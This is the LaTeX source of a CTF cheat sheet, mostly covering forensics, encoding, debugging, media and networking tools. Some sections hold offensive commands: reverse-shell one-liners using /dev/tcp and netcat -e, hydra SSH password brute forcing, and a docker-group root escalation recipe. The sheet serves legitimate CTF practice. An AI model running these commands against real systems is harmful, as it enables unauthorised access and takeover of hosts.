ctf-cs.tex

%% ctf-cs.tex
%
% Copyright 2014-2020  Rudy Matela
%
% This text is available under (at your option):
%   * Creative Commons Attribution-ShareAlike 3.0 Licence
%   * GNU Free Documentation License version 1.3 or Later
%


\documentclass{refcard}
\usepackage[T1]{fontenc}

\renewcommand{\familydefault}{\sfdefault}

\title{Concise Capture the Flag Cheat Sheet}

\cright{
	Copyright 2014-2020, Rudy Matela --
	Compiled on \today{} \\
	Upstream: \texttt{https://github.com/rudymatela/concise-cheat-sheets}
}{
	This text is available under
	the Creative Commons Attribution-ShareAlike 3.0 Licence, \\
	\textbf{or} (at your option), the GNU Free Documentation License version 1.3 or Later.
}
\version[~\\]{0.5}


\begin{document}

\maketitle


\section{Binaries and Metadata Extractors}

\begin{ldesc}
	\li[Guess file type using magic]      \$ file \I{file}
	\li[Printable strings in bin file]    \$ strings \I{file}
	\li[Hexadecimal dump]                 \$ xxd [-c\I{16} -g\I{2}] \I{file} \li
	                                      \$ hexdump \I{file} \li
										  \$ od -tx1z \I{file}
	\li[Hexadecimal editor]               \$ elvis [-c"display hex"] \I{file}
	\li[Extract JPEG EXIF data]           \$ exiv2 \I{img.jpeg} \li
	                                      \$ jhead \I{img.jpeg}
	\li[Extract PNG metadata]             \$ pngcheck -7ptv \I{img.png}
	\li[List tarball contents]            \$ tar -tf \I{tarball.tar}
	\li[List zip contents]                \$ unzip -l \I{file.zip}
	\li[Extract ID3 metadata]             \$ id3info \I{file.mp3}
\end{ldesc}


\section{Encoding / Decoding}

\begin{ldesc}
	\li[Encode base64]     \$ base64 [\I{file}]
	\li[Decode base64]     \$ base64 -di [\I{file}]
	\li[(de)code caesar's] \$ caesar [0-25]
	\li[Encode morse]      \$ morse -s ~~~~~\I{message}
	\li[Decode morse]      \$ morse -d -{-}~~~\I{...~-{-}-~...}
	\li[Hex to binary]     \$ echo '48656c6c6f0a' | xxd -r -p
\end{ldesc}


\section{Hashes}

\begin{ldesc}
	\li[md5sum]    \$ md5sum \I{file}
	\li[sha1sum]   \$ sha1sum \I{file}
	\li[sha256sum] \$ sha256sum \I{file}
\end{ldesc}


\section{Unix / Linux}

\begin{ldesc}
	\li[Extract tarball contents]  \$ tar -xvf \I{tarball.tar}
	\li[Remove first 3 bytes]      \$ tail -c +4 [\I{file}]
	\li[Unzip]                     \$ unzip \I{file.zip}
\end{ldesc}


\section{Disk Images / Forensics}


\begin{ldesc}
	\li[Mounting FS image]                \$ mount \I{fs.img} \I{mountpoint}
	\li[~~(override user/group)]          ~~~-o uid=user,gid=users
	\li[List orphan inodes on image]      \$ ils \I{fs.img}
	\li[List deleted files on image]      \$ fls -drp \I{fs.img}
	\li[File contents from inode number]     \$ icat \I{fs.img} \I{1337}
	\li[(Deleted) file contents on image] \$ fcat \I{path/to/file} \I{fs.img}
\end{ldesc}


\section{Databases}

\begin{ldesc}
	\li[Open sqlite database]    \$ sqlite3 \I{database.db}
	\li[List databases]          > .databases
	\li[List tables]             > .tables
	\li[Show \I{table} contents] > select * from \I{table};
\end{ldesc}


\section{Disassembly}

\begin{ldesc}
	\li[Disassemble program]       \$ objdump -d \I{prog}
	\li[Dump RO data section]      \$ objdump -j .rodata -s \I{prog}
%	\li[List symbols]              \$ objdump -t \I{prog}
	\li[List symbols]              \$ nm \I{prog}
	\li[Disassemble (objdump)]     \$ objdump -d \I{prog}
	\li[Disassemble (ndisasm)]     \$ ndisasm \I{prog}
	\li[Disasm. ncurses]           \$ TERM=vt100 biew \I{prog}
	\li[Assembly]                  nasm, yasm, gas
	\li[ELF info]                  \$ readelf -a \I{prog}
	\li[Rename symbol in lib]      \$ objcopy -{-}redefine-sym \I{o}=\I{n} \I{lib.o}
	\li[Prefix symbols in lib]     \$ objcopy -{-}prefix-symbols=\I{p} \I{lib.o}
\end{ldesc}


\section{Debugging}

\begin{ldesc}
	\li[simple / command line]     \$ gdb ./program
	\li[run program]               > r [parameters] [< fin > fout]
	\li[print backtrace]           > bt
	\li[set breakpoint on \I{foo}] > b \I{foo}
	\li[unset       breakpoint(s)] > delete breakpoint [no]
	\li[next line (over)]          > n
	\li[step line (into)]          > s
	\li[next instruction (over)]   > ni
	\li[step instruction (into)]   > si
	\li[activate display next instr.] > display/i \$pc
	\li[continue execution]        > c
	\li[save memory contents]      > generate-core-file
	\li[advanced / graphical]     \$ edb \I{./program}
	\li[trace system calls]       \$ strace \I{./program}
\end{ldesc}

% GDB Manual http://www.delorie.com/gnu/docs/gdb/gdb_38.html


\subsection{Running and debugging Legacy/Other Systems}

\subsubsection{DOS}

\begin{ldesc}
	\li[Open DOS with \textit{dir} as C:] \$ dosbox \I{dir}
	\li[~~(debug mode)]                   \$ dosbox-debug \I{dir}
	\li[Run \I{prog} in debug mode]       C:\textbackslash> debug \I{prog.com}
	\li[DOSBox-debug step over]     F10
	\li[DOSBox-debug step into]     F11
	\li[DOSBox-debug scroll memory] PgUp / PgDn
	\li[DOSBox-debug scroll program] + / -
\end{ldesc}

\subsection{Windows}

\begin{ldesc}
	\li[Run executable]   \$ wine \I{prog.exe}
	\li[Debug executable] \$ winedbg \I{prog.exe}
	% TODO: More details on winedbg
	% see: https://www.winehq.org/docs/winedev-guide/wine-debugger
	% and: man winedbg
	\li[Debug executable] \$ ollydbg \I{prog.exe}
\end{ldesc}

\subsection{IBM PC XT}

\begin{ldesc}
	\li[Start system] fake86 -fd0 /usr/share/fake86/rombasic.bin
	\\ % <-- This somehow makes the output nicer
\end{ldesc}

\subsection{Android}

\begin{ldesc}
	\li[dex to jar]   d2j-dex2jar \I{classes.dex}
	\li[jar contents] unzip \I{classes.jar}
\end{ldesc}

\section{Image Processing}

\begin{ldesc}
	\li[Editor (simple)]   \$ pinta \I{image}
	\li[Editor (advanced)] \$ gimp \I{image}
	\li[Convert to pnm]    \$ \I{type}topnm \I{image.type} > \I{image}.pnm
	\li[pnm (ppm) format] P6~~~~~~~~~~~~~~~~~~\textnormal{(type)}\li
	                      width height~~~~~~~~\textnormal{(in printable digits)} \li
					      255~~~~~~~~~~~~~~~~~\textnormal{(max color)} \li
					      RGBRGBRGBRGBRGB...  \textnormal{($\times$ \textit{width} $\times$ \textit{height})}
	\li[QR code for \I{word}] \$ qrencode \I{word} -o \I{image.png}
	\li[Scan QR/barcode]      \$ zbarimg -{-}raw \I{image.png}
	\li[~(from X selection)]  \$ import \I{i.png} \&\& zbarimg -{-}raw \I{i.png}
	\li[OCR in \I{lng} lang.] \$ tesseract [-l \I{lng}] \I{i.png} stdout
\end{ldesc}\\[0pt]
\begin{ldesc}
	\li[Crop]                 \$ convert -crop \I{W}x\I{H}+\I{HP}+\I{VP} \I{i.png} \I{o.png}
	\li[Greyscale]            \$ convert \I{i.png} -colorspace Gray \I{o.png}
	\li[Montage/Concat]       \$ montage -mode concatenate \I{*.png} \I{o.png}
%	\li[Simple unsteg]        ...  % TODO: simple unsteg
\end{ldesc}


\section{Video Processing}

\begin{ldesc}
	\li[Extract Frames]  \$ ffmpeg -i \I{video.mp4} \I{frame-\%4d.jpeg}
	\li[Dwn. vid. (yt/etc)] \$ youtube-dl "\I{https://example.com/etc}"
\end{ldesc}


\section{Audio Processing}

\begin{ldesc}
	\li[Graphical editor / waveform]   \$ audacity \I{audio.flac}
	\li[Spectrogram]                   \$ sox \I{aud.flac} -n spectrogram
	\li[Extract notes from MIDI]       \$ midi2ly \I{music.midi}
	\li[Generate music sheet]          \$ lilypond \I{music.ly}
\end{ldesc}

\subsubsection{Decoding Phone Dialing Tones}

\begin{ldesc}
	\li[Decode DTMF]   sox tone.ogg -esigned-integer \textbackslash \li
	                   ~~~~-b16 -r 22050 -t raw - | \li
	                   multimon-ng -c -a DTMF -
	\li[Anything else] sox ... | multimon-ng
\end{ldesc}


\section{Web}

\begin{ldesc}
	\li[Brute force URLs]       dirb http://localhost/
	\li[~~ (specific wordlist)] dirb http://localhost/ wordlist.txt
	\li[List HTML errors]       tidy -qe file.html
	\li[~~ (from URL)]          curl -sL example.com | tidy -qe
	\li[Stress-test (2s)]       siege -t2s -c6 http://localhost/
\end{ldesc}


\section{Password brute force}

\begin{ldesc}
	\li[ssh brute force] hydra -L \I{us.txt} -P \I{ps.txt} ssh://\I{host}
\end{ldesc}


\section{Checking for memory leaks (Valgrind)}

\begin{ldesc}
\li[list leaks and invalid writes] valgrind \I{program}
\li[print leak details]            valgrind -{}-leak-check=full \I{prog}
\end{ldesc}

(Compile with \texttt{-g} to get line of code position.)


\pagebreak

\section{Networking}

\begin{ldesc}
	\li[Info about \I{port}] \$ cat /etc/services | grep \I{port}
\end{ldesc}

\subsection{Passive scanning}

\begin{ldesc}
	\li[Network traffic (graphical)]  \$ wireshark
	\li[Network traffic]              \$ tshark -i \I{interface} -f \I{filter}
	\li[List interfaces]              \$ tshark -D
	\li[Wifi HTTP traffic]            \$ tshark -i wlan0 -f "port 80"
	\li[Filter syntax]                \$ man pcap-filter
	\li[Network traffic (altn.)]      \$ tcpdump
\end{ldesc}

\subsection{Active scanning}

\begin{ldesc}
	\li[Open ports on host]           \$ nmap [-sV -O -p \I{prange}] \I{host}
	\li[List hosts on a network]      \$ nmap [-sn] 192.168.0.*
	\lI[Query \I{txt} DNS field]      \$ nslookup -query=txt \I{example.com}
	\li[Query DNS info (on \I{srv})]  \$ dig \I{[@srv]} \I{example.com}
\end{ldesc}

\subsection{Interacting}

\begin{ldesc}
	\li[Network cat (GNU/BSD)]        \$ netcat host port
	\li[Network cat (nmap altn.)]     \$ ncat host port
	\li[Telnet to \I{host} on \I{port}] \$ telnet host port
	% TODO: curl, wget
\end{ldesc}


\subsection{Reverse shell / Connect back}

\begin{ldesc}
	\li[netcat listen] client\$ netcat -vlp 1337
	\lI[Linux conn-back]     \$ sh >\& /dev/tcp/client/1337 0>\&1
	\li[\ \ (colored)]       \$ bash -i >\& /dev/tcp/client/1337 0>\&1
	\li[Netcat conn-back]    \$ netcat -e /bin/sh localhost 1337
	\li[\ \ (colored)]       \$ nc -e "/bin/bash -i" localhost 1337
\end{ldesc}

\subsection{HTTP Status Codes}

\begin{tabular}{l@{ }l}
	\li[1xx] Informational
	\li[100] Continue
	\\
	\li[2xx] Success
	\li[200] OK
	\li[201] Created
	\li[202] Accepted
	\li[204] No Content
	\li[206] Partial Content
	\\
	\li[3xx] Redirection
	\li[300] Multiple Choices
	\li[301] Moved Permanently
	\li[302] Found
	\li[303] See Other
	\li[304] Not Modified
\end{tabular}
\begin{tabular}{l@{ }l}
	\li[4xx] Client Errors
	\li[400] Bad Request
	\li[401] Unauthorized
	\li[403] Forbidden
	\li[404] Not Found
	\li[405] Method Not Allowed
	\li[406] Not Acceptable
	\li[409] Conflict
	\li[413] Payload Too Large
	\li[422] Unprocessable Entity
	\li[429] Too Many Requests
	\\
	\li[5xx] Server errors
	\li[500] Internal Server Error
	\li[502] Bad Gateway
	\li[504] Gateway Timeout
\end{tabular}

\pagebreak

\section{Keyboard Scan Codes (US QWERTY)}

% Reference: http://www.win.tue.nl/~aeb/linux/kbd/scancodes-1.html

\newcommand{\ppkey}{\textbackslash{} \textbar}

\begin{tabular}{C@{\hspace{6ex}}llllll}
	   & \C{00} & \C{10} & \C{20} & \C{30} & \C{40} & \C{50} \\[1ex]
	+0 & error  & q      & d      & b      & F6     & KP 2   \\
	+1 & Esc    & w      & f      & n      & F7     & KP 3   \\
	+2 & 1      & e      & g      & m      & F8     & KP 0   \\
	+3 & 2      & r      & h      & , $<$  & F9     & KP Del \\

	+4 & 3      & t      & j      & . $>$  & F10    & SysRq  \\
	+5 & 4      & y      & k      & / ?    & NmLck  & --     \\
	+6 & 5      & u      & l      & RShift & ScLck  & --     \\
	+7 & 6      & i      & : ;    & KP *   & KP 7   & F11    \\

	+8 & 7      & o      & ' "    & LAlt   & KP 8   & F12    \\
	+9 & 8      & p      & ` ~    & Space  & KP 9   & --     \\
	+a & 9      & \{ [   & LShift & CaLck  & KP -   & --     \\
	+b & 0      & ] \}   & \ppkey & F1     & KP 4   & --     \\

	+c & - \_   & Enter  & z      & F2     & KP 5   & --     \\
	+d & + =    & LCtrl  & x      & F3     & KP 6   & --     \\
	+e & Back   & a      & c      & F4     & KP +   & --     \\
	+f & Tab    & s      & v      & F5     & KP 1   & --     \\
\end{tabular}


\section{Number/character conversion}

\begin{tabularlc}{@{}lCCC}
\li              \textnormal{Ruby}   & \textnormal{Haskell}
\li[lib]                             & import Data.Char
%li[lib]                             & import Data.List
%li[lib]                             & import Data.Tuple
%li[lib]                             & import Data.Maybe
\li[char to int]      'a'.ord        & ord 'a'
\li[int to char]      0x61.chr       & chr 0x61
\lI[from hexadecimal] "FF".to\_i(16) & foldl1 (\textbackslash{}x y -> x*16 + y) \li[] &
                                       .~map digitToInt \$ "FF"
\lI[to hexadecimal]   255.to\_s(16)  & map intToDigit .~reverse \li[] &
                                       .~unfoldr \li[] &
									   ~~(\textbackslash{}n -> listToMaybe\li[] &
									   ~~~[ swap \$ n `divMod` 16 \li[] &
									   ~~~| n /= 0 ]) \li[] &
									   \$ 255 \
\end{tabularlc}


\section{Dates}

\begin{ldesc}
	\li[Unix to Human] date -d "@\I{seconds}"
	\li[Human to Unix] date -d "\I{YYYY}-\I{mm}-\I{dd} \I{HH}:\I{MM}:\I{SS}" -f +\%s
\end{ldesc}

\section{Timing}

\begin{ldesc}
	\li[Stopwatch (ctrl-C to stop)] \$ time cat
	\li[Elapsed runtime]            \$ time \I{program} [arguments...]
	\li[Elapsed runtime]            \$ /usr/bin/time -f\%e \I{program}
	\li[Max memory use (Kbytes)]    \$ /usr/bin/time -f\%M \I{program}
	\li[Time/Memory]                \$ /usr/bin/time -f"\%es \%MKb" \I{prog}
\end{ldesc}

\section{SSL}

\begin{ldesc}
	\li[print HTTPS SSL chain] \$ openssl s\_client -connect \I{host}:443
\end{ldesc}

\newpage

\section{Privilege escalation}

\subsection{becoming root on Linux/UNIX}

\begin{ldesc}
	\li[using \C{su}  ] \$ su ~~~~~~~~~~~~~ \# needs pw
	\li[using \C{sudo}] \$ sudo su ~~~~~~~~ \# may need pw
	\li[using docker]
		user@host\$ groups ~\# needs docker group\li
		...~docker~... \li
		user@host\$ mount | grep " / " \li
		/dev/sdXX on / type ... \li
		user@host\$ docker pull \I{image} \li
		user@host\$ docker run -{-}privileged -ti \I{image} \li
		root@container\$ mount /dev/sdXX /mnt \li
		root@container\$ chroot /mnt /bin/bash \li
		root@chroot\$ passwd \li
		New password: \li
		root@chroot\$ exit \li
		root@container\$ exit \li
		user@host\$ su \li
		Password: \li
		root@host\$
\end{ldesc}


\section{Stuff to install \hfill {\normalsize (Arch Linux)}}

% TODO: Also add ubuntu package names?

% NOTE: This section is a good candidate for removal in case we run out of
% space.  You can always search the web with the command name to find the
% relevant package.

\begin{ldesc}
	\li[Image processing]  \$ pacman -S pinta gimp netpbm
	\li[Image metadata]    \$ pacman -S jhead exiv2 pngcheck
	\li[QR/Barcode]        \$ pacman -S zbar qrencode
	\li[Disk image]        \$ pacman -S sleuthkit libewf
	\li[Network (act.)]    \$ pacman -S \{gnu,openbsd\}-netcat nmap
	\li[Network (psv.)]    \$ pacman -S wireshark-\{cli,gtk\} tcpdump
	\li[OCR]               \$ pacman -S tesseract tesseract-data-eng %\{,por,jpn}
	\li[En/Decoding]       \$ pacman -S bsdgames
	\li[Pw.\ Brute Force]  \$ pacman -S hydra
	\li[8086 emulator] \$ pacman -U fake86-???.pkg.tar.gz  \# AUR
	\li[Dial Tones]        \$ pacman -S archassault/multimon-ng
	\li[Android]           \$ pacman -S archassault/dex2jar
	\li[Valgrind]          \$ pacman -S valgrind
%	\li[StegDetect]        \$ pacman -S archassault/stegdetect
	\li[Tools available]   \$ pacman -Ql \I{somekit} | grep /bin/
\end{ldesc}

\subsection{Other stuff}
\begin{ldesc}
	\lI[SQLi]     https://github.com/sqlmapproject/sqlmap
\end{ldesc}

\section{Hardware info}

\begin{ldesc}
	\li[List system information] uname -a
	\li[List detailed hardware info]    [sudo] lshw
	\li[List CPU devices] lscpu
	\li[List PCI devices] lspci [-t] [-v]
	\li[List USB devices] lsusb [-t] [-v]
	\li[List loaded kernel modules] lsmod
	\li[Processor width 32/64 (software)] uname -m
	\li[Processor width 32/64 (software)] file /usr/bin/ls
\end{ldesc}\\[1ex]
{\centering
i386(32), i686(32), x86\_64(64), amd64(64), armv7l(32), armv8(64)}


\end{document}